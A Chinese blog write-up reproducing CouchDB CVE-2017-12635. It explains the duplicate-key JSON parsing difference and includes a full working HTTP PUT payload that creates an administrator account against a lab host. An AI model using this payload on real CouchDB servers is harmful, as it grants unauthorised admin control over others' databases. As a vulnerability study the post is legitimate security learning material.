Couchdb 垂直权限绕过漏洞(CVE-2017-12635)漏洞复现

couchdb简介:javascript

  • Apache CouchDB是一个开源的NoSQL数据库,专一于易用性和成为“彻底拥抱web的数据库”。它是一个使用JSON做为数据存储格式,javascript做为查询语言,MapReduce和HTTP做为API的NoSQL数据库。 

漏洞原理:java

  • CVE-2017-12635:Erlang和JavaScript,对JSON解析方式的不一样,致使语句执行产生差别性。这个漏洞能够让任意用户建立管理员,属于垂直权限绕过漏洞。
  • 举例:
    Erlang:
    
    > jiffy:decode("{"a":"1", "a":"2"}").
    
    {[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}
    JavaScript: > JSON.parse("{"a":"1", "a": "2"}") {a: "2"}
  • 在定义一对键值对时,Eralang解析器将存储两个值;javascript只存储第二个值。但jiffy实现时,getter函数只返回第一个值。这里涉及的函数参考:https://www.anquanke.com/post/id/87256https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635

影响版本:git

  • 小于 1.7.0 以及 小于 2.1.1

复现:github

  • 构造建立用户的数据包
  •  org.couchdb,user:$name  与name:$name是对应的,此时咱们没有admin权限,因此会报错forbidden。
  • 绕过role验证:
  • payload:
    •   
      PUT /_users/org.couchdb.user:vulhub HTTP/1.1
      Host: 192.168.183.134:5984
      Accept: */*
      Accept-Language: en
      User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
      Connection: close
      Content-Type: application/json
      Content-Length: 110
      
      {
        "type": "user",
        "name": "vulhub",
        "roles": ["_admin"],
        "roles":[],
        "password": "vulhub111"
      }

一些小思考:web

  • 虽然分析说,只读取第一个键值,按理来讲,第二个值是任意的应该不影响,但我测试发现,只有为空时,poc才正确操做。

  • 且在建立一个成功后,再重复发包,也会报错409,
  • 修改已建立的密码也不行

 

总结:数据库

  这个仍是比较好利用,可是请别借此破坏信息安全,仅为学习。json

相关文章
相关标签/搜索